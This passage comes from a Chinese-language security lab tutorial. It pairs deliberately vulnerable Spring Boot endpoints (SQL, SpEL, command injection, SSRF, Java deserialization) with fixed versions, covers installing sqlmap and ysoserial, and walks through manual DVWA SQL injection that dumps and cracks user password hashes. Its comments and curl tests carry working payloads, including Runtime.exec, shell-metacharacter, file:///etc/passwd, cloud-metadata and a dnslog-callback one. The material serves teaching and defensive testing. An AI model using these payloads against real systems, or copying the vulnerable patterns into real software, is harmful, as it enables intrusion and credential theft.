     * 再打一次:http://127.0.0.1:8888/sqli/user-safe?id=1' OR '1'='1
     * 预期:返回空列表(参数被当成一个整体字符串去匹配,没有 id 等于这么一长串)
     */
    @GetMapping("/user-safe")
    public Object getUserSafe(@RequestParam String id) {
        // ✅ 用 ? 占位符,值通过参数传入
        String sql = "SELECT * FROM users WHERE id = ?";
        try {
            return jdbc.queryForList(sql, id);
        } catch (Exception e) {
            // ✅ 不返回详细错误,只记日志
            System.err.println("[SAFE] query failed: " + e.getMessage());
            return Collections.emptyList();
        }
    }

    // ═══════════════════════════════════════════════════════
    // 漏洞 2:ORDER BY 注入(★ 预编译防不住的典型)
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:排序字段直接拼接
     * 攻击:?field=(CASE WHEN (SELECT COUNT(*) FROM secrets)>0 THEN id ELSE username END)
     *      通过"排序结果的变化"推断数据 → 布尔盲注
     */
    @GetMapping("/order")
    public Object orderByVuln(@RequestParam(defaultValue = "id") String field) {
        // ★ 为什么这里不能用预编译?因为 ? 只能替代"值",不能替代"标识符"(列名)
        String sql = "SELECT * FROM products ORDER BY " + field;
        return jdbc.queryForList(sql);
    }

    /**
     * ✅ 修复版:白名单
     * ★ 这是 ORDER BY 场景唯一正确的解法
     */
    @GetMapping("/order-safe")
    public Object orderBySafe(@RequestParam(defaultValue = "id") String field) {
        // ✅ 只允许这几个列名,其他一律拒绝
        Set<String> ALLOWED = new HashSet<>(Arrays.asList("id", "name", "price", "stock"));
        if (!ALLOWED.contains(field)) {
            return Collections.singletonMap("error", "非法排序字段: " + field);
        }
        String sql = "SELECT * FROM products ORDER BY " + field;
        return jdbc.queryForList(sql);
    }

    // ═══════════════════════════════════════════════════════
    // 漏洞 3:IN 子句注入
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:IN 子句拼接
     * 攻击:?ids=1) OR 1=1--
     */
    @GetMapping("/in")
    public Object inVuln(@RequestParam String ids) {
        String sql = "SELECT * FROM users WHERE id IN (" + ids + ")";
        return jdbc.queryForList(sql);
    }

    /**
     * ✅ 修复版:拆分成数组,逐个元素占位
     */
    @GetMapping("/in-safe")
    public Object inSafe(@RequestParam String ids) {
        // ✅ 先拆分成单个 ID
        List<String> idList = Arrays.asList(ids.split(","));
        // ✅ 校验每个都是数字(白名单思路)
        for (String s : idList) {
            if (!s.trim().matches("\\d+")) {
                return Collections.singletonMap("error", "非法 ID: " + s);
            }
        }
        // ✅ 动态生成 ? 占位符,数量与元素个数一致
        String placeholders = String.join(",", Collections.nCopies(idList.size(), "?"));
        String sql = "SELECT * FROM users WHERE id IN (" + placeholders + ")";
        return jdbc.queryForList(sql, idList.toArray());
    }

    // ═══════════════════════════════════════════════════════
    // 漏洞 4:LIKE 模糊查询注入
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:LIKE 拼接
     * 攻击:?kw=%' UNION SELECT 1,secret_name,secret_val,email,role FROM secrets--
     */
    @GetMapping("/search")
    public Object searchVuln(@RequestParam String kw) {
        String sql = "SELECT * FROM users WHERE username LIKE '%" + kw + "%'";
        return jdbc.queryForList(sql);
    }

    /**
     * ✅ 修复版:% 写在 SQL 里,只把关键词当参数传
     */
    @GetMapping("/search-safe")
    public Object searchSafe(@RequestParam String kw) {
        // ✅ CONCAT 把 % 拼在 SQL 侧,kw 始终是"值"
        String sql = "SELECT * FROM users WHERE username LIKE CONCAT('%', ?, '%')";
        return jdbc.queryForList(sql, kw);
    }

    // ═══════════════════════════════════════════════════════
    // 漏洞 5:数字型注入(不需要单引号)
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:虽然是 int 类型,但仍然拼接
     * 攻击:?id=1 OR 1=1          (注意:不需要单引号!)
     *      ?id=1 UNION SELECT 1,secret_name,secret_val,email,role FROM secrets
     *
     * ★ 很多人以为"我用的是 int 类型,所以安全"——错。
     *   Spring 会把 "1 OR 1=1" 转成 1 吗?不会,因为这里声明的是 String 接收。
     *   即使声明成 int,攻击者也能用 1 OR 1=1 之外的方式(如类型混淆、JSON 注入)。
     */
    @GetMapping("/num")
    public Object numVuln(@RequestParam String id) {
        String sql = "SELECT * FROM users WHERE id = " + id;
        try {
            return jdbc.queryForList(sql);
        } catch (Exception e) {
            return "SQL Error: " + e.getMessage();
        }
    }

    /**
     * ✅ 修复版:类型校验 + 预编译
     */
    @GetMapping("/num-safe")
    public Object numSafe(@RequestParam String id) {
        // ✅ 先做类型白名单
        if (!id.matches("\\d+")) {
            return Collections.singletonMap("error", "ID 必须是数字");
        }
        String sql = "SELECT * FROM users WHERE id = ?";
        return jdbc.queryForList(sql, Integer.parseInt(id));
    }
}

1.4.7 SSRF / SpEL / 命令注入 / 反序列化靶场

package com.lab.vuln.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.util.*;

@RestController
public class VulnController {

    // ═══════════════════════════════════════════════════════
    // SSRF:服务端请求伪造
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:直接请求用户给的 URL
     *
     * 攻击示例:
     *   ?url=http://127.0.0.1:8888/actuator/env        # 打自己的 Actuator
     *   ?url=file:///etc/passwd                        # 读本地文件
     *   ?url=http://169.254.169.254/latest/meta-data/  # 云元数据(真实云上才有)
     */
    @GetMapping("/ssrf/fetch")
    public String ssrfVuln(@RequestParam String url) {
        try {
            URL u = new URL(url);
            URLConnection conn = u.openConnection();
            conn.setConnectTimeout(3000);
            try (BufferedReader br = new BufferedReader(
                    new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8))) {
                StringBuilder sb = new StringBuilder();
                String line;
                while ((line = br.readLine()) != null && sb.length() < 20000) {
                    sb.append(line).append("\n");
                }
                return sb.toString();
            }
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }

    /**
     * ✅ 修复版:协议白名单 + 域名白名单 + 禁重定向 + 禁内网 IP
     * ★ 这是生产可用的最小实现,11 号 5.3 节有完整版
     */
    @GetMapping("/ssrf/fetch-safe")
    public String ssrfSafe(@RequestParam String url) {
        try {
            URL u = new URL(url);

            // ① 协议白名单:只允许 http/https
            String proto = u.getProtocol().toLowerCase();
            if (!"http".equals(proto) && !"https".equals(proto)) {
                return "DENY: 协议不允许 - " + proto;
            }

            // ② 域名白名单(生产环境应该配在配置文件里)
            Set<String> ALLOWED_HOSTS = new HashSet<>(Arrays.asList(
                    "api.example.com", "cdn.example.com"));
            String host = u.getHost();
            if (!ALLOWED_HOSTS.contains(host)) {
                return "DENY: 域名不在白名单 - " + host;
            }

            // ③ 解析 IP 并校验是否为内网/保留地址
            InetAddress addr = InetAddress.getByName(host);
            if (isPrivateIp(addr)) {
                return "DENY: 禁止访问内网地址 - " + addr.getHostAddress();
            }

            // ④ 用解析到的 IP 重建 URL(★ 防 DNS Rebinding 的关键一步)
            String ip = addr.getHostAddress();
            URL safeUrl = new URL(proto, ip, u.getPort() == -1
                    ? u.getDefaultPort() : u.getPort(), u.getFile());

            HttpURLConnection conn = (HttpURLConnection) safeUrl.openConnection();
            // ⑤ 禁止跟随重定向
            conn.setInstanceFollowRedirects(false);
            conn.setConnectTimeout(3000);
            conn.setReadTimeout(3000);

            int code = conn.getResponseCode();
            if (code >= 300 && code < 400) {
                return "DENY: 不允许重定向";
            }

            try (BufferedReader br = new BufferedReader(
                    new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8))) {
                StringBuilder sb = new StringBuilder();
                String line;
                while ((line = br.readLine()) != null && sb.length() < 20000) {
                    sb.append(line).append("\n");
                }
                return sb.toString();
            }
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }

    /** 判断是否为内网/保留 IP */
    private boolean isPrivateIp(InetAddress addr) {
        if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
                || addr.isAnyLocalAddress() || addr.isLinkLocalAddress()) {
            return true;
        }
        byte[] b = addr.getAddress();
        if (b.length == 4) {
            int o1 = b[0] & 0xFF, o2 = b[1] & 0xFF;
            if (o1 == 10) return true;                          // 10.0.0.0/8
            if (o1 == 172 && o2 >= 16 && o2 <= 31) return true;  // 172.16.0.0/12
            if (o1 == 192 && o2 == 168) return true;             // 192.168.0.0/16
            if (o1 == 169 && o2 == 254) return true;             // ★ 169.254.0.0/16 云元数据
            if (o1 == 0) return true;                            // 0.0.0.0/8
            if (o1 == 127) return true;                          // 127.0.0.0/8
        }
        return false;
    }

    // ═══════════════════════════════════════════════════════
    // SpEL 表达式注入
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:用 StandardEvaluationContext 解析用户输入的表达式
     *
     * 攻击:
     *   ?expr=T(java.lang.Runtime).getRuntime().exec('calc')
     *   ?expr=T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','id'})
     *   ?expr=new java.lang.ProcessBuilder(new String[]{'id'}).start()
     *
     * ★ 真实案例:CVE-2022-22947 Spring Cloud Gateway RCE 就是这个原理
     */
    @GetMapping("/spel/calc")
    public String spelVuln(@RequestParam String expr) {
        ExpressionParser parser = new SpelExpressionParser();
        // ★ 危险:StandardEvaluationContext 允许 T() 引用任意类、允许 new
        Expression expression = parser.parseExpression(expr);
        Object result = expression.getValue(new StandardEvaluationContext());
        return "Result: " + result;
    }

    /**
     * ✅ 修复版:用 SimpleEvaluationContext
     * ★ 它禁止 T() 类型引用、禁止 new、禁止访问任意类的方法
     */
    @GetMapping("/spel/calc-safe")
    public String spelSafe(@RequestParam String expr) {
        ExpressionParser parser = new SpelExpressionParser();
        try {
            // ✅ 只允许属性访问和简单运算
            Object result = parser.parseExpression(expr)
                    .getValue(SimpleEvaluationContext.forReadOnlyDataBinding().build());
            return "Result: " + result;
        } catch (Exception e) {
            return "DENY: 表达式不允许 - " + e.getClass().getSimpleName();
        }
    }

    // ═══════════════════════════════════════════════════════
    // 命令注入
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:拼字符串 + 走 shell
     *
     * 攻击:
     *   ?host=127.0.0.1; id
     *   ?host=127.0.0.1 && cat /etc/passwd
     *   ?host=127.0.0.1 | whoami
     *   ?host=127.0.0.1 %0a id         (换行,URL 编码)
     *   ?host=127.0.0.1 $(whoami)      (命令替换)
     *   ?host=127.0.0.1 `whoami`       (反引号)
     */
    @GetMapping("/cmd/ping")
    public String cmdVuln(@RequestParam String host) {
        try {
            // ★ 三重危险:① 拼接 ② 走 /bin/sh ③ 没有超时
            Process p = Runtime.getRuntime().exec("/bin/sh -c 'ping -c 1 " + host + "'");
            return readAll(p.getInputStream());
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }

    /**
     * ✅ 修复版:ProcessBuilder 数组传参(不经过 shell)+ 参数白名单 + 超时
     */
    @GetMapping("/cmd/ping-safe")
    public String cmdSafe(@RequestParam String host) {
        // ✅ ① 白名单校验:只允许合法的 IP 或域名格式
        if (!host.matches("[a-zA-Z0-9.\\-]{1,64}")) {
            return "DENY: 非法主机名";
        }
        try {
            // ✅ ② 数组传参,每个元素是一个独立参数,shell 元字符不生效
            // ✅ ③ 不调用 /bin/sh,直接执行 ping 程序
            ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
            pb.redirectErrorStream(true);
            Process p = pb.start();
            // ✅ ④ 必须设超时,否则恶意输入(如 ping 一个不响应的地址)会挂住线程
            if (!p.waitFor(5, java.util.concurrent.TimeUnit.SECONDS)) {
                p.destroyForcibly();
                return "TIMEOUT";
            }
            return readAll(p.getInputStream());
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }

    private String readAll(InputStream in) throws IOException {
        try (BufferedReader br = new BufferedReader(new InputStreamReader(in))) {
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) sb.append(line).append("\n");
            return sb.toString();
        }
    }

    // ═══════════════════════════════════════════════════════
    // Java 原生反序列化(★ 核弹级)
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:直接反序列化 Base64 的用户输入
     *
     * 攻击方式(第 6 章详细讲):
     *   1. ysoserial 生成 CommonsCollections 链的 payload
     *   2. Base64 编码后 POST 到这里
     *   3. readObject() 触发 Gadget Chain → RCE
     *
     * ★ 前提条件:classpath 里有 commons-collections:3.2.1(本项目的 pom 里故意加了)
     */
    @PostMapping("/deser/load")
    public String deserVuln(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data.trim());
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
                // ★★★ 危险:readObject 会自动触发对象里的魔术方法
                Object obj = ois.readObject();
                return "Deserialized: " + obj.getClass().getName();
            }
        } catch (Exception e) {
            return "Error: " + e.getClass().getName() + " - " + e.getMessage();
        }
    }

    /**
     * ✅ 修复版:JEP 290 白名单过滤
     * ★ 根本解法是"不用 Java 原生序列化,改用 JSON",这里是无法避免时的兜底方案
     */
    @PostMapping("/deser/load-safe")
    public String deserSafe(@RequestBody String base64Data) {
        try {
            byte[] data = Base64.getDecoder().decode(base64Data.trim());
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
                // ✅ 白名单:只允许这两个包下的类
                ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
                        "com.lab.vuln.dto.*;java.lang.String;java.lang.Integer;!*"
                ));
                Object obj = ois.readObject();
                return "Deserialized: " + obj.getClass().getName();
            }
        } catch (Exception e) {
            return "DENY: " + e.getClass().getSimpleName();
        }
    }
}

1.4.8 启动与验证

# 编译打包
cd vuln-lab
mvn clean package -DskipTests

# 启动(★ 只在 127.0.0.1 监听)
java -jar target/vuln-lab-1.0.0.jar --server.address=127.0.0.1

# 或者直接用 Maven 启动
mvn spring-boot:run -Dspring-boot.run.arguments=--server.address=127.0.0.1

验证所有接口都活着:

# SQL 注入 - 漏洞版
curl "http://127.0.0.1:8888/sqli/user?id=1"
# 预期:[{"ID":1,"USERNAME":"admin","PASSWORD":"admin123",...}]

curl "http://127.0.0.1:8888/sqli/user?id=1' OR '1'='1"
# 预期:返回全部 4 个用户(注入成功!)

# SQL 注入 - 修复版
curl "http://127.0.0.1:8888/sqli/user-safe?id=1' OR '1'='1"
# 预期:[](空数组,注入失败 ✓)

# SSRF
curl "http://127.0.0.1:8888/ssrf/fetch?url=file:///etc/passwd"
# 预期:返回 /etc/passwd 内容

curl "http://127.0.0.1:8888/ssrf/fetch-safe?url=file:///etc/passwd"
# 预期:DENY: 协议不允许 - file

# SpEL
curl -G "http://127.0.0.1:8888/spel/calc" --data-urlencode "expr=T(java.lang.Runtime).getRuntime().exec('id')"
# 预期:Result: Process[pid=xxxx, ...](命令执行了!)

curl -G "http://127.0.0.1:8888/spel/calc-safe" --data-urlencode "expr=T(java.lang.Runtime).getRuntime().exec('id')"
# 预期:DENY: 表达式不允许 - SpelEvaluationException

# 命令注入
curl -G "http://127.0.0.1:8888/cmd/ping" --data-urlencode "host=127.0.0.1; id"
# 预期:ping 结果 + uid=xxx(id 的输出)

curl -G "http://127.0.0.1:8888/cmd/ping-safe" --data-urlencode "host=127.0.0.1; id"
# 预期:DENY: 非法主机名(分号不在白名单字符里)

# Actuator(第 7 章用)
curl "http://127.0.0.1:8888/actuator/env" | head -50
# 预期:能看到数据库连接串等配置

★ 如果全部符合预期,说明靶场搭好了。后面的实验都基于它。


1.5 攻击工具安装

1.5.1 sqlmap

# 方式一:pip(最简单)
pip3 install sqlmap

# 方式二:源码(推荐,更新及时)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap
echo 'alias sqlmap="python3 ~/tools/sqlmap/sqlmap.py"' >> ~/.bashrc
source ~/.bashrc

# 验证
sqlmap --version
# 预期输出:1.8.2#stable

1.5.2 ysoserial(Java 反序列化利用)

mkdir -p ~/tools && cd ~/tools

# 下载编译好的 jar(约 60MB)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar \
  -O ysoserial-all.jar

# 验证:列出所有可用的 Gadget Chain
java -jar ysoserial-all.jar
# 预期输出(部分):
#   Payload Authors: ...
#   Available payload types:
#     AspectJWeaver      BeanShell1       C3P0       Click1
#     CommonsBeanutils1  CommonsCollections1 ... CommonsCollections7
#     Groovy1            Hibernate1       JBossInterceptors1
#     JRMPClient         JSON1            JavassistWeld1
#     Jdk7u21            MozillaRhino1    Myfaces1
#     ROME               ScriptEngine     Spring1   Spring2
#     URLDNS             Vaadin1          Wicket1

# ★ 测试生成一个探测用的 payload(DNS 查询型,无副作用)
java -jar ysoserial-all.jar URLDNS "http://your-dnslog-domain.dnslog.cn" | base64 -w0

名词解释:DNSLog —— 一个免费服务,给你一个专属域名,任何人访问这个域名(包括 DNS 解析)都会被记录。用来验证“目标是不是真的执行了我的 payload”,尤其是那些没有回显的漏洞(盲打)。常用:dnslog.cn、ceye.io、burpcollaborator.net。

1.5.3 Nuclei(漏洞扫描器)

# 方式一:下载二进制(推荐)
# 去 https://github.com/projectdiscovery/nuclei/releases 下载对应平台的包
# Linux 示例:
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.1.0/nuclei_3.1.0_linux_amd64.zip
unzip nuclei_3.1.0_linux_amd64.zip
sudo mv nuclei /usr/local/bin/

# 方式二:go install(需要 Go 1.21+)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# 更新漏洞模板(★ 第一次用必须做)
nuclei -update-templates

# 验证
nuclei -version
# 预期输出:Nuclei Engine Version: 3.1.0

1.5.4 ffuf(模糊测试)

# 下载二进制
wget https://github.com/ffuf/ffuf/releases/download/v2.1.0/ffuf_2.1.0_linux_amd64.tar.gz
tar -xzf ffuf_2.1.0_linux_amd64.tar.gz
sudo mv ffuf /usr/local/bin/

# 验证
ffuf -V
# 预期输出:ffuf v2.1.0

1.5.5 其他工具

# redis-cli(第 5、7 章要用)
# Ubuntu/Debian:
sudo apt install -y redis-tools
# macOS:
brew install redis
# 验证:
redis-cli --version

# nc(反弹 shell 接收端,各章都要用)
sudo apt install -y netcat-openbsd    # Debian/Ubuntu
# macOS 自带 nc

# jq(处理 JSON 响应很方便)
sudo apt install -y jq

# gitleaks(第 9 章密钥扫描)
wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz
tar -xzf gitleaks_8.18.0_linux_x64.tar.gz
sudo mv gitleaks /usr/local/bin/

# trivy(镜像/依赖漏洞扫描)
wget https://github.com/aquasecurity/trivy/releases/download/v0.48.0/trivy_0.48.0_Linux-64bit.tar.gz
tar -xzf trivy_0.48.0_Linux-64bit.tar.gz
sudo mv trivy /usr/local/bin/

1.5.6 Burp Suite Community Edition

1. 下载:https://portswigger.net/burp/communitydownload
2. 安装并启动
3. 配置浏览器代理:127.0.0.1:8080
   ★ 推荐用 Firefox + FoxyProxy 插件,方便切换开关
4. 访问 http://burp 下载 CA 证书并安装(抓 HTTPS 必须)
   → Firefox: 设置 → 隐私与安全 → 查看证书 → 导入
5. Proxy → Intercept 打开拦截,访问靶场就能看到请求了

★ Burp 的三个核心功能(本文全程在用):

功能 位置 用途
Proxy / Intercept Proxy 标签 ★ 拦截并修改请求(改参数、加 payload)
Repeater 右键请求 → Send to Repeater ★ 反复重放同一个请求,改一个字符看响应变化(手工注入全靠它)
Intruder 右键 → Send to Intruder 自动化爆破(但 Community 版有限速,批量用 ffuf 更快)

1.6 网络隔离与安全收尾(★ 每次实验完都要做)

1.6.1 检查有没有端口意外暴露到公网

# 查看所有端口映射(★ 重点看 0.0.0.0 的)
docker ps --format "table {{.Names}}\t{{.Ports}}"

# 预期:所有端口都应该是 127.0.0.1:xxxx 开头
# 如果看到 0.0.0.0:8080->80/tcp,说明暴露了,要重建容器

# 从宿主机外部检查(用另一台机器或手机扫你的 IP)
# 假设你的局域网 IP 是 192.168.1.100
nmap -p 1-10000 192.168.1.100
# 预期:不应该看到 8080/3000/8888 等靶场端口

1.6.2 一键清理所有靶场

# 停止所有正在运行的容器
docker stop $(docker ps -q)

# 删除所有已停止的容器
docker container prune -f

# 删除靶场网络
docker network rm lab-net

# (谨慎)删除所有未被使用的镜像,释放磁盘
docker image prune -a -f

# ★ 一键脚本,保存为 cleanup.sh
cat > cleanup.sh <<'EOF'
#!/usr/bin/env bash
echo "停止所有容器..."
docker stop $(docker ps -q) 2>/dev/null
echo "删除所有容器..."
docker container prune -f
echo "删除靶场网络..."
docker network rm lab-net 2>/dev/null
echo "剩余容器: $(docker ps -aq | wc -l)"
echo "剩余网络:"; docker network ls
EOF
chmod +x cleanup.sh

1.6.3 实验环境检查清单

实验开始前:
□ 靶场网络 lab-net 已创建
□ 所有端口都绑定 127.0.0.1
□ 靶场容器不在生产网络里
□ 准备好 dnslog.cn 的域名(盲打实验用)

实验结束后:
□ 复测已通过(攻击失败)
□ 容器已停止或清理
□ 实验记录已保存(命令 + 输出 + 截图)
□ 笔记里写好了"面试怎么讲"

第二章:SQL 注入实战(从 1' or 1=1 到拖库到 GetShell)

本章目标:完整走一遍 SQL 注入的全链路——从发现注入点,到拖走整个数据库,再到拿到服务器权限,最后修复并复测。

实验环境:DVWA(MySQL)+ 自建 Spring Boot 靶场(H2)

预计耗时:3 小时


2.0 前置:给 DVWA 建一个“随手打”的脚本

DVWA 需要登录后带着 Cookie 才能访问漏洞页面,每次手写 curl 很麻烦。先做两个脚本。

2.0.1 自动登录脚本

#!/usr/bin/env bash
# save as dvwa-login.sh
# 用法:source dvwa-login.sh   (用 source,让变量留在当前 shell)
BASE="http://127.0.0.1:8080"
COOKIE_JAR=$(mktemp)

# ① 先访问登录页,拿到 PHPSESSID 和 user_token
TOKEN=$(curl -s -c "$COOKIE_JAR" "$BASE/login.php" \
        | grep -oP "name='user_token' value='\K[^']+")

# ② 提交登录(带上 token,DVWA 有简单的 CSRF 防护)
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" -X POST "$BASE/login.php" \
     -d "username=admin" -d "password=password" \
     -d "user_token=$TOKEN" -d "Login=Login" -o /dev/null

# ③ 设置安全等级为 low
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" -X POST "$BASE/security.php" \
     -d "security=low" -d "seclev_submit=Submit" -o /dev/null

export DVWA_COOKIE=$(awk '/PHPSESSID/{print "PHPSESSID="$7}' "$COOKIE_JAR")
export DVWA_FULL_COOKIE="$DVWA_COOKIE; security=low"
echo "Cookie: $DVWA_FULL_COOKIE"
chmod +x dvwa-login.sh
source dvwa-login.sh
# 预期输出:Cookie: PHPSESSID=abc123...; security=low

# 验证登录有效
curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
  "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" | grep -oP "First name: \K[^<]*"
# 预期输出:admin

2.0.2 快捷请求函数

# 加到 ~/.bashrc,之后 dvwa "id=1" 就能打
dvwa() {
  curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
    "http://127.0.0.1:8080/vulnerabilities/sqli/?$1&Submit=Submit" \
    | sed -e 's/<[^>]*>//g' | grep -v '^\s*$'
}

# 用法
dvwa "id=1"
# 预期输出:
# ID: 1
# First name: admin
# Surname: admin

2.1 手工注入:五步拖库法

★ 强烈建议先用手工做一遍,再用 sqlmap。 原因:sqlmap 会把几十步操作自动化,你根本不知道它干了什么。手工做过一遍之后,你才能看懂 sqlmap 的输出,也才能在面试官问“sqlmap 底层原理”时答上来。

第一步:判断是否存在注入

# ① 正常请求
dvwa "id=1"
# ID: 1 / First name: admin / Surname: admin

# ② 加单引号 —— 如果报错,说明单引号被带进了 SQL
dvwa "id=1'"
# 预期输出(关键!):
# You have an error in your SQL syntax; check the manual that corresponds to
# your MySQL server version for the right syntax to use near ''1''' at line 1
#
# ★ 注意报错里的 ''1''' —— 说明原始 SQL 是 ... WHERE user_id = '1''
#   我们输入的是 1' ,拼进去变成 '1'' ,多了一个单引号 → 语法错误
#   → 确认:输入被直接拼进了 SQL,且用单引号包裹

# ③ 用 and 判断(★ 这是最经典的判断手法)
dvwa "id=1' and '1'='1"
# 预期:正常返回 admin(因为 '1'='1' 恒真)

dvwa "id=1' and '1'='2"
# 预期:无返回(因为 '1'='2' 恒假,WHERE 条件不成立)
#
# ★★ 如果 ③ 的两次结果"一次有数据一次没数据",【100% 确认存在注入】

原理图解:

原始 SQL:  SELECT first_name, last_name FROM users WHERE user_id = '[输入]'

输入 1                    → WHERE user_id = '1'                   → 正常
输入 1'                   → WHERE user_id = '1''                  → 语法错误 ★ 暴露了拼接
输入 1' and '1'='1        → WHERE user_id = '1' and '1'='1'       → 真 AND 真 = 真 → 有数据
输入 1' and '1'='2        → WHERE user_id = '1' and '1'='2'       → 真 AND 假 = 假 → 无数据

                    ↑ 看到了吗?我们输入的 ' 闭合了原本的单引号,
                      然后 and 后面变成了一段【我们能控制的 SQL 代码】
                      —— 这就是"数据与指令未分离"

第二步:猜字段数(ORDER BY 二分法)

UNION 注入要求前后两条 SELECT 的字段数必须一致,所以要先知道原查询有几个字段。

# 用 ORDER BY N 试探,N 超过字段数就报错
dvwa "id=1' ORDER BY 1-- "    # 正常
dvwa "id=1' ORDER BY 2-- "    # 正常
dvwa "id=1' ORDER BY 3-- "    # 报错:Unknown column '3' in 'order clause'
# → 说明原查询有 2 个字段

# ★ 注意 -- 后面要有空格(MySQL 注释符要求),URL 里空格要写成 + 或 %20
#   用 --+ 是最稳的写法(+ 在 URL 里被解析成空格)

名词解释:注释符 —— SQL 里 --(注意后面有空格)、#、/* */ 都是注释。我们在 payload 末尾加注释,是为了把原 SQL 后面剩下的部分(比如那个多余的 ' 和 LIMIT)注释掉,避免语法错误。

第三步:找回显位(UNION SELECT)

dvwa "id=1' UNION SELECT 1,2-- "
# 预期输出:
# ID: 1' UNION SELECT 1,2--
# First name: 1        ← 第 1 个字段显示在这里
# Surname: 2           ← 第 2 个字段显示在这里
#
# ★ 我们看到了 1 和 2,说明这两个位置的数据会被显示在页面上
#   后面就把想查的数据填到这两个位置

# 如果只看到原数据没看到 1、2,说明页面只显示第一条记录
# 解决:把前面的 id 改成不存在的值(让第一条查不到)
dvwa "id=-1' UNION SELECT 1,2-- "
# 或
dvwa "id=999' UNION SELECT 1,2-- "

第四步:拖数据(★ 收获时刻)

# ① 当前数据库名、用户、版本
dvwa "id=-1' UNION SELECT database(),user()-- "
# 预期:First name: dvwa       Surname: root@localhost

dvwa "id=-1' UNION SELECT @@version,@@datadir-- "
# 预期:First name: 5.7.36    Surname: /var/lib/mysql/

# ② 列出所有数据库名
dvwa "id=-1' UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata-- "
# 预期:Surname: information_schema,dvwa,mysql,performance_schema,sys
#
# ★ group_concat() 把多行结果合并成一行,这样才能在一次回显里看到全部

# ③ 列出 dvwa 库的所有表名
dvwa "id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'-- "
# 预期:Surname: guestbook,users

# ④ 列出 users 表的所有列名
dvwa "id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'-- "
# 预期:Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

# ⑤ ★★ 拖走账号密码(本次实验的终极目标)
dvwa "id=-1' UNION SELECT group_concat(user),group_concat(password) FROM users-- "
# 预期:
# First name: admin,gordonb,1337,pablo,smithy
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,...
#
# ★ 这些是 MD5。拿去 cmd5.com 或本地 john 破解:
#   5f4dcc3b5aa765d61d8327deb882cf99 = password
#   e99a18c428cb38d5f260853678922e03 = abc123

本地破解 MD5:

# 方式一:john(需安装)
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

# 方式二:hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# 方式三:Python 查彩虹表(自己实现,理解原理)
python3 -c "
import hashlib
target='5f4dcc3b5aa765d61d8327deb882cf99'
for w in ['123456','password','abc123','admin','letmein','12345678']:
    if hashlib.md5(w.encode()).hexdigest()==target:
        print('FOUND:',w); break
"
# 输出:FOUND: password

★ 反思时刻:看看 dvwa 库里存的是 MD5 明文哈希,而且没加盐。这意味着:

  1. 拖库后直接就能查彩虹表还原密码
  2. 如果用户在多个站点用同一密码 → 撞库
  3. 正确做法见 11 号 4.1 节:BCrypt / Argon2id 慢哈希

第五步:确认战果

# 用拖到的密码登录验证
curl -s -c /tmp/c2 "http://127.0.0.1:8080/login.php" -o /dev/null
TOKEN2=$(curl -s -b /tmp/c2 "http://127.0.0.1:8080/login.php" | grep -oP "name='user_token' value='\K[^']+")
curl -s -b /tmp/c2 -X POST "http://127.0.0.1:8080/login.php" \
  -d "username=gordonb" -d "password=abc123" \
  -d "user_token=$TOKEN2" -d "Login=Login" \
  | grep -oP "Welcome \K[^<]*"
# 预期输出:Welcome gordonb

✓ 至此,你完成了一次完整的拖库。如果这是真实网站,你手上现在有它所有用户的账号密码。


2.2 sqlmap 全自动实战

2.2.1 基础用法

# 最简形式:指定 URL + Cookie
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="$DVWA_FULL_COOKIE" \
       --batch

★ --batch 很重要:它让 sqlmap 自动选择默认选项,不用你一路按回车。

预期输出(精减):

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.2#stable}
|_ -| . [)]     | .'| . |
